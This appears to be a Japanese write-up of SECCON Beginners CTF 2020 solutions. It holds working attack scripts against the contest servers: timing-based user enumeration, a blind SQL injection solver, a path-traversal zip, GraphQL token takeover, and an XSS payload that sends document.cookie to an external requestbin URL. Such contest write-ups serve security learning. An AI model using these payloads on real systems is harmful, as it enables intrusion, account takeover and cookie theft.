SECCON Beginners CTF 2020 Writeup
noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。
色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。
Web
Spy
DBに存在するユーザを特定すれば勝ち。
ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。
$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done
Arthur
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p>
Barbara
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p>
Christine
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p>
David
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p>
Elbert
<p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p>
Franklin
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p>
George
<p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p>
Harris
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p>
Ivan
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p>
Jane
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p>
Kevin
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p>
Lazarus
<p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p>
Marc
<p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p>
Nathan
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p>
Oliver
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p>
Paul
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p>
Quentin
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p>
Randolph
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p>
Scott
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p>
Tony
<p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p>
Ulysses
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p>
Vincent
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p>
Wat
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p>
Ximena
<p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p>
Yvonne
<p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p>
Zalmon
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>
処理時間の長いユーザを入力してフラグゲット。
Tweetstore
dbのcurrent_userを取得できれば勝ち。 SQLiの問題。
searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(50): r = requests.get( URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1) }, ) count = r.text.count("Watch@Twitter") flag += chr(count + 48) print(flag)
$ python solve.py
c
ct
ctf
ctf4
ctf4b
(snip)
ctf4b{is_postgres_your_friend?}
unzip
ディレクトリトラバーサルするzipファイルを作るだけ。
$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
$ touch flag.txt
$ python evilarc.py -d 3 -o unix flag.txt
$ unzip -l evil.zip
Archive: evil.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-05-23 17:32 ../../../flag.txt
--------- -------
0 1 file
アップロードしてアクセスするとフラグゲット
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler
graphql injectionの問題。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq
{
"data": {
"__type": {
"fields": [
{
"name": "me",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "User"
}
}
},
{
"name": "someone",
"type": {
"kind": "OBJECT",
"name": "User",
"ofType": null
}
},
{
"name": "flag",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String"
}
}
}
],
"name": "Query"
}
}
someoneクエリがある。 adminの情報を取得してみる。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq
{
"data": {
"someone": {
"token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
"uid": "admin"
}
}
}
以下を参考にスキーマを取得。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

updateTokenが存在。自分のTokenをadminのtokenに変更する。

その後、FLAGの画面からフラグゲット。

Somen
まず、security.jsのロードをbaseタグで妨害。
CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。
location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>

Crypt
R&B
先頭1文字削りながらBASE64とROT13を繰り返すだけ。
Reversing
ghost
$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit"
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638
最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。
import subprocess import string correct = open("output.txt").read() flag = "ctf4b{" while True: found = False for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ': cmd1 = "echo '{}'".format(flag + c) cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'" cmd = cmd1 + cmd2 result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4] #print(correct) #print(result) if result in correct: flag = flag + c print(flag) found = True break if found: continue else: print(flag) exit(0)
$ python3 solve.py
ctf4b{s
(snip)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。
Misc
readme
/proc/self/environを確認すると、/home/ctf/serverで実行されていることがわかる。
よって、/proc/self/cwdから親ディレクトリを辿ればよい。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}